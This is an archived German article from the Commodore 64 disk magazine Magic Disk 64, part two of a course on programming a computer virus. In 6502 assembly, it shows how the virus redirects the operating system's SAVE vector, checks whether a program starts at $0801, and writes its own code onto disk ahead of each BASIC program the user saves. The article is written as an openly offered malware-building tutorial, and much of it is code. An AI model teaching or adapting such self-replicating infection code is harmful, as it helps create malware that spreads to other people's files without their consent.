Magic Disk 64

home to index to text: MD8808-KURS-VIRENPROGRAMMIERKURS_TEIL_2-7.1.txt
         Virus-Programmierkurs          

Sicher haben Sie schon gespannt auf das Erscheinen der Augustausgabe von Magic Disk 64 gewartet. Denn in unserem Virus-Programmierkurs wird' s jetzt langsam ernst. Heute wollen wir uns - wie in der letzten Ausgabe besprochen - um die Artenerhaltung unseres Virus kümmern, damit er auch viele kräftige und gesunde Nachkommen haben wird!
An dieser Stelle sei noch erwähnt, daß sich auf der Magic Disk folgende Programme befinden, die alle mit diesem Kurs zusammenhängen:

" MD-VIRUS" ist ein infiziertes Gag-Pro- gramm, das zur Aktivierung des Virus dient. Der Syntax-Error am Programmende gehört so und ist kein Programmfehler!
" MDV-SOURCE" ist der Sourcecode (= Quellcode) im Hypra-Ass- Format zum Virus.
Falls Sie Hypra-Ass nicht besitzen, so hilft Ihnen sicherlich " MDV-SOURCE. ASC" weiter. Das ist der Source-Code als ASCII-File gespeichert.
Dieser kann ohne Probleme mit GET# von der Diskette gelesen und ausgedruckt werden.

Doch nun wollen wir ans " Eingemachte" gehen und uns mit der Programmierung selbst befassen.
Zuerst wollen wir uns überlegen, wann die Brunftzeit ( die Zeit, an der sich der Virus vermehrt) für unser kleines Tierchen am günstigsten ist. Da sticht der Vorgang des Diskettenzugriffs natürlich sofort ins Auge, denn dann ist es am unauffälligsten, da die Diskettenstation sowieso läuft. Und außerdem teilt uns der Programmierer bei einer solchen Aktion auch gleich mit, wie man ein zu infizierendes Programm beim Namen nennt.
Man muß also nicht noch aufwendig auf der Diskette nach Programmen und deren Namen suchen.

Gesagt - getan. Um dies zu verwirklichen, müssen wir prinzipiell nur den Speichervorgang an sich abfangen können.
Das heißt, unser Virus muß sich immer dann einschalten, wenn das Betriebssystem des C64 vom Benutzer dazu bewegt wird, Daten zum Floppy zu schicken.
Dieses Problem kann sehr einfach gelöst werden. Das Betriebssystem benutzt nämlich einen Vektor, der auf die eigentliche Save-Routine zeigt. Zur Erklärung:
Ein Vektor sind zwei Speicherzellen, deren Inhalt im Low-High- Format auf ein entsprechendes Unterprogramm zeigt. Vektoren können mit indirekten Sprüngen adressiert werden. Speichert man z. B. in

den Speicherzellen $1000 und $1001 die Werte $ af und $ c0, so wird bei dem Maschinensprachebefehl JMP ($1000) die Adresse $ c0 af angesprungen.
Der SAVE-Vektor steht in den Speicherzellen $0332 und $0333(= dezimal 818 und 819) . Bei jedem SAVE-Befehl wird indirekt über diesen Vektor gesprungen. Ein idealer Platz also für einen Virus, um in das Geschehen einzugreifen. Er muß nur bei seiner ( einmaligen) Initialisierung diesen Vektor auf eine eigene Routine " verbiegen" . Bis zum Ausschalten des Computers wird dann bei jedem SAVE-Befehl die eigene Routine angesprungen.

Zur Vervollständigung des Gesagten sei noch erwähnt, daß dieser Vektor eigentlich schon mitten in der SAVE-Routine angesprungen wird. Doch das ist für uns nur von Vorteil, da er genau dann aufgerufen wird, nachdem alle Voreinstellungen erledigt wurden, und wir diese deswegen nicht noch selbst erledigen müssen. Um diesen Vorgang genauer zu erläutern, muß ich Ihnen zunächst die SAVE-Routine etwas näher beschreiben:
Wie Sie ja vielleicht wissen, wird die SAVE-Routine des Betriebssystems mit dem Befehl JSR $ FFD8 aufgerufen. Vorher muß man aber noch einige Parameter wie Laufwerk, Programmname, Startund Endadresse etc. festlegen. Diese Parameter

werden folgendermaßen übergeben:
SETPAR setzt Geräteund Sekundäradresse SETNAM übergibt Programmnamen und - Länge Jetzt müssen Anfangsund Endadresse in zwei Speicherzellen in der Zeropage festgelegt werden. Am besten eignen sich die Adressen $ FB und $ FC, da sie vom Betriebssystem sonst nicht verwendet werden.
Nun den Zeiger auf die erste dieser Speicherzellen in den Akku laden, Endadresse des abzuspeichernden Bereichs in X und Y-Register laden und SAVE aufrufen.

Damit das verständlicher wird, folgt hier zunächst das Quellisting einer Maschinenspracheroutine, die den Speicherbereich von $0801 bis $11 AB unter dem Namen " DEMOSAVE" auf Diskette abspeichert:

10  -.ba $c000          ;Basisadresse   
20  -.eq save = $ffd8   ;Konstanten-    
30  -.eq setpar = $ffba ;definitionen   
40  -.eq setnam = $ffbd ;               
50  -;                                  
100 - lda #$01     ;Filenummer          
110 - ldx #$08     ;Geräteadresse       
120 - ldy #$01     ;Sekundäradresse     
130 - jsr setpar   ;Parameter setzen    
140 - lda #$08     ;Länge des Namens    
150 - ldx #<(name) ;Adresse low         
160 - ldy #|(name) ;Adresse high        
170 - jsr setnam   ;Namen setzen        
180 - ldx #$01     ;Anfangsadresse low  
190 - ldy #$08     ;Anfangsadresse high 
200 - stx $fb      ;in $fb und $fc      
210 - sty $fc      ;zwischenspeichern   
220 - lda #$fb     ;Zeiger auf Speicher 
230 - ldx #$ab     ;Endadresse low      
240 - ldy #$11     ;Endadresse high     
250 - jsr save     ;SAVE anspringen     
260 - rts          ;fertig!             
270 -;                                  
280 -name   .tx "demosave"              

Werfen wir nun einen kleinen Blick " hinter die Kulissen"- sprich ins Betriebssystem. Dabei beginnen wir an der Stelle, an der auch die SAVE-Routine beginnt, nämlich bei Adresse $ FFD8 . Hier ein kleiner Auszug, wie Sie ihn sich mit einem Disassembler bzw. Speichermonitor auch " live" ansehen können:
FFD8 JMP $ F5 DD Es wird also nur ins Innere des Systems weitergesprungen. Dort verfolgen wir das Betriebssyetem weiter:
F5 DD STX $ AE ; Low-Byte Endadresse speichern

F5DF  STY $AF    ;High-Byte Endadresse  
                  speichern             
F5E1  TAX        ;Zeiger auf Anfangs-   
                  adresse ins X-Register
F5E2  LDA $00,X  ;Low-Byte der Anfangs- 
                  adresse holen         
F5E4  STA $C1    ;und speichern         
F5E6  LDA $01,X  ;dasselbe mit dem      
F5E8  STA $C2    ;High-Byte             
F5EA  JMP ($0332);Save-Vektor           

Sie sehen, daß erst in der letzten Zeile auf die SAVE-Routine verzweigt wird. Die übrigen Zeilen sind nur dazu da, die Parameter für später zwischenzuspeichern.

Hier also ist der Punkt, an dem unser Virus eingreifen darf. Er sollte somit auch alle Funktionen übernehmen, die das Betriebssystem normalerweise ausführt, nur daß er sich zusätzlich auch noch mitspeichert. Um herauszufinden, was genau er da tun soll, verfolgen wir die normale Saveroutine weiter:
Einsprung über Vektor $0332/$0333 von $ F5 EA:
F5 ED LDA $ BA ; Geräteadresse laden F5 EF BNE $ F5 F4 ; wenn <|0 dann weiter F5 F1 JMP $ F713 ;" ILLEGAL DEVICE NUMBER ERROR" ausgeben F5 F4 CMP #$03 ; vergleiche mit Bild-

                 schirmcode             
F5F6  BEQ $F5F1 ;wenn ja, dann Fehler   
F5F8  BCC $F659 ;wenn <3, dann Sprung zu
                 Test auf RS232 oder    
                 Cassette               
F5FA  LDA #$61  ;Sekundäradresse        
F5FC  STA $B9   ;zwischenspeichern      
F5FE  LDY $B7   ;Filenamenlänge holen   
F600  BNE $F605 ;|0, dann weiter        
F602  JMP $F710 ;"MISSING FILE NAME     
                 ERROR" ausgeben        
F605  JSR $F3D5 ;Filename auf IEC-Bus   
F608  JSR $F68F ;"SAVING" ausgeben      
F60B  LDA $BA   ;Geräteadresse laden    
F60D  JSR $ED0C ;und LISTEN senden      
F610  LDA $B9   ;Sekundäradresse holen  
F612  JSR $EDB9 ;und für LISTEN senden  

F615 LDY #$00 ; Zähler auf 0 setzen F617 JSR $ FB8 E ; Startadresse nach $ AC/$ AD kopieren F61 A LDA $ AC ; Startadr.- Low laden F61 C JSR $ EDDD ; und senden F61 F LDA $ AD ; Startadr.- High laden F621 JSR $ EDDD ; und senden Ab hier ( also ab $ F624) folgt noch eine kleine Routine, die jedes Byte bis zur Endadresse durchgeht, mit der Routine bei $ EDDD an die Floppy sendet und anschließend das File wieder schließt und zurückspringt.

Wie Sie sehen, ist der erste Teil nur dazu da, die Geräteadresse zu überprüfen und die entsprechenden Fehlermeldungen auszugeben. Anschließend kommt erst der Anfang der eigentlichen Saveroutine.
Hier wird dann das " saving" ausgegeben und der Floppykanal geöffnet. Bis zur Adresse $ F617 alles Dinge, die für uns unwichtig sind, und die wir auch einfach in unserem Virus übernehmen werden, damit er auch voll kompatibel zum Betriebssystem ist.
Erst ab $ F61 A wird es für uns interessant. Hier werden nämlich Lowund Highbyte der Anfangsadresse des zu savenden Bereichs an die Floppy geschickt, damit

die Loadroutine später weiß, wohin sie das eingeladene Programm legen soll.
Dieser Teil ist deshalb so wichtig für uns, weil wir unseren Virus grundsätzlich nur vor Programme kopieren lassen wollen, die an den normalen Basicstart ( also $0801) geladen werden, da man hier davon ausgehen kann, daß das entsprechende Programm mit RUN gestartet werden muß. Würde sich der Virus auch vor Maschinenprogramme kopieren, die beispielsweise bei $ C000 anfangen, dann könnte das verheerende Folgen haben, da er selbst ja ein mit RUN startbares Programm ist und man ihn nicht einfach mit einem SYS starten kann.

Also müssen wir an dieser Stelle überprüfen, an welcher Stelle sich das zu savende Programm befindet. Ist das nicht $0801, so hält sich unser Virus schön brav im Hintergrund und tut gar nichts.
Ist es aber ein Programm, das bei $0801 beginnt, so soll er sich mitkopieren.
Also bauen wir an dieser Stelle noch ein paar Vergleichsbefehle ein:

      LDA $AC   ;Lo-Byte Anfangsadresse 
      CMP #01   ;= $01?                 
      BEQ LAB1  ;Ja, dann Byte senden   
      LDY #$01  ;Flag setzen            
LAB1  JSR $EDDD ;Lo-Byte senden         
      LDA $AD   ;Hi-Byte Anfangsadresse 
      CMP #$08  ;= $08?                 
      BEQ LAB2  ;Ja, dann Byte senden   
      LDY #$01  ;Flag setzen            
LAB2  JSR $EDDD ;Hi-Byte senden         
      CPY #$01  ;Flag gesetzt?          
      BNE OKAY  ;nein, also vermehren!  
      LDY #$00  ;Ja, Y zurücksetzen     
      JMP $F624 ;normal weitersaven     

Hier die genaue Funktionsweise: Das Y-Registerwurde bei $ F615 ja mit 00 geladen. Sollte jetzt bei einem Vergleich ein Wert ungleich dem verglichenem Wert sein, so wird das Y-Register mit dem Wert 01 beschrieben und erst dann das Byte gesendet. In der Folge wird dann verglichen, ob das Y-Register noch 0 ist. Ist das der Fall, so darf sich der

Virus kopieren. Ansonsten verzweigt das Programm in die normale Saveroutine.
In dieser Form konnten wir die Assemblerbefehle bisher aus dem Betriebssystem übernehmen. Jetzt müssen wir auch einmal etwas eigenes leisten, nämlich eine Routine schreiben, die den Virus an die Floppy sendet. Bis jetzt sind der Floppykanal geöffnet und die Startadresse übergeben. Normalerweise würde jetzt das zu savende Programm kommen, doch das soll ja gerade nicht der Fall sein. Wir müssen zuerst den Virus an die Floppy senden und dann das eigentliche Programm. Dieses Problem lösen wir folgendermaßen:

OKAY  LDA #<(DATA) ;Lo-Anfangsadresse   
      STA $FB      ;des Virus setzen    
      LDA #|(DATA) ;dasselbe mit dem    
      STA $FC      ;Highbyte            
      LDA #<(ENDE) ;Lo-Endadresse       
      STA $F9      ;setzen              
      LDA #|(ENDE) ;dasselbe mit dem    
      STA $FA      ;Highbyte            
      LDY #$00     ;Zähler löschen      
LOOP  LDA ($FB),Y  ;Zeichen laden       
      JSR $EDDD    ;und senden          
      JSR INCCOUNT ;Zähler um 1 erhöhen 
      BCC LOOP     ;Weiter, wenn noch   
                    nicht Endadresse    
      JSR SAVECONT ;Wenn doch, dann     
                    Programm saven      

Zur Dokumentation: Am Anfang setzen wir Startund Endadresse. Die Endadresse hinterlegen wir in $ F9/$ FA, da die INCCOUNT-Routine diese Werte zum Vergleichen braucht. Diese Routine steht in unserem Source-Listing übrigens ab Zeile 8210 und soll an anderer Stelle näher erläutert werden. Soviel sei aber schon hier gesagt:
Die Routine erhöht den Zeiger in $ FB/$ FC und vergleicht ihn mit der Endadresse, die wir ja in $ F9/$ FA abgelegt haben. Sind beide Adressen gleich, so setzt sie das Carryflag, womit die Abfrage nach JSR INCCOUNT zu erklären ist.
Ist das Carryflag gelöscht, so ist das

Ende noch nicht erreicht und die Schleife wird wiederholt. Im Anschluß wird dann wieder die normale Saveroutine des Betriebssystems angesprungen, um das eigentliche Programm abzuspeichern. In der Konstanten SAVECONT ist die Zahl bzw. Adresse $ F624 gespeichert.
Hiermit sind wir am Ende des zweiten Teils des Virusprogrammierkurses angelangt. Die oben beschriebene Saveroutine finden Sie ab Zeile 2220 im Sourcelisting, allerdings mit zwei kleinen Abweichungen. Die eine hat mit der Vermehrung beim Laden zu tun, die wir nächsten Monat besprechen wollen. Und die

andere ist für den kleinen Gag zuständig, mit dem der Virus auf sich aufmerksam machen soll.
Bis zum nächsten Teil bleibt uns nur noch, Ihnen viel Spaß in Ihrer Aktivität als Virologe zu wünschen.

Valid HTML 4.0 Transitional Valid CSS!